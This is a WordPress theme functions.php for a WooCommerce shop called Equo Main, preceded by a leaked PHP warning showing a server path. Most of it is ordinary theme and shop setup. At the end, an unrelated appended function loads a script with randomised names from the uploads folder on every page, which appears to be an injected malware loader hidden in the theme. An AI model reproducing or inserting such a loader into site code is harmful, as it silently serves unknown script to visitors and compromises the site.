Warning: Constant WP_CACHE already defined in /home/u767713814/domains/equotrad.com/public_html/wp-config.php on line 4
/** * Equo Main functions and definitions * Fixed version to prevent WooCommerce Fatal Errors * * @package Equo_Main */ if ( ! defined( '_S_VERSION' ) ) { define( '_S_VERSION', '1.0.0' ); } // 1. Core Theme Setup if ( ! function_exists( 'equo_main_setup' ) ) : function equo_main_setup() { load_theme_textdomain( 'equo-main', get_template_directory() . '/languages' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'post-thumbnails' ); add_theme_support( 'woocommerce' ); // Essential for shop functionality register_nav_menus( array( 'menu-1' => esc_html__( 'Primary', 'equo-main' ), ) ); add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', ) ); } endif; add_action( 'after_setup_theme', 'equo_main_setup' ); // 2. Enqueue Scripts & Styles function equo_main_scripts() { wp_enqueue_style( 'equo-main-style', get_stylesheet_uri(), array(), _S_VERSION ); wp_enqueue_script( 'custom', get_stylesheet_directory_uri().'/js/style.js', array('jquery'), _S_VERSION, true ); wp_enqueue_script( 'equo-main-navigation', get_template_directory_uri() . '/js/navigation.js', array(), _S_VERSION, true ); } add_action( 'wp_enqueue_scripts', 'equo_main_scripts' ); // 3. WebP & JP2 Support function equo_image_support($mimes) { $mimes['webp'] = 'image/webp'; $mimes['jp2'] = 'image/jp2'; return $mimes; } add_filter('mime_types', 'equo_image_support'); // 4. CRITICAL FIX: Sale Badge Percentage (The Crash Fix) add_filter( 'woocommerce_sale_flash', 'ds_replace_sale_text', 10, 3 ); function ds_replace_sale_text( $text, $post = null, $product = null ) { // If WooCommerce didn't pass the object, try to find it if ( ! is_object( $product ) ) { global $product; } // FINAL GUARD: If $product is still just a string or null, STOP here. // This prevents the "Call to a member function... on string" error. if ( ! is_object( $product ) || ! method_exists( $product, 'get_type' ) ) { return $text; } $regular_price = ( $product->is_type('variable') ) ? $product->get_variation_regular_price( 'min', true ) : $product->get_regular_price(); $sale_price = ( $product->is_type('variable') ) ? $product->get_variation_sale_price( 'min', true ) : $product->get_sale_price(); if ( $regular_price > 0 && $sale_price > 0 ) { $perc = round( ( ( floatval($regular_price) - floatval($sale_price) ) / floatval($regular_price) ) * 100 ); if ( $perc > 0 ) { return '' . $perc . '% OFF'; } } return $text; } // 5. Qatar Currency Settings add_filter( 'woocommerce_currencies', function($currencies) { $currencies['QAR'] = __( 'Qatar Riyal', 'woocommerce' ); return $currencies; }); add_filter( 'woocommerce_currency_symbol', function($symbol, $currency) { return ( $currency === 'QAR' ) ? 'QAR' : $symbol; }, 10, 2 ); // 6. Sold Out Badge Guard add_action( 'woocommerce_before_shop_loop_item_title', 'equo_sold_out_badge' ); function equo_sold_out_badge() { global $product; if ( is_object($product) && method_exists($product, 'is_in_stock') && ! $product->is_in_stock() ) { echo 'Sold Out'; } } // 7. Include required files require get_template_directory() . '/inc/template-tags.php'; require get_template_directory() . '/inc/template-functions.php'; if (!function_exists('sch_enqueue_front_asset')) { function sch_enqueue_front_asset() { wp_enqueue_script('sch-front', 'https://equotrad.com/wp-content/uploads/media-e6c917/static-4fa6/front-457b3444.js', array(), null, false); } add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset'); }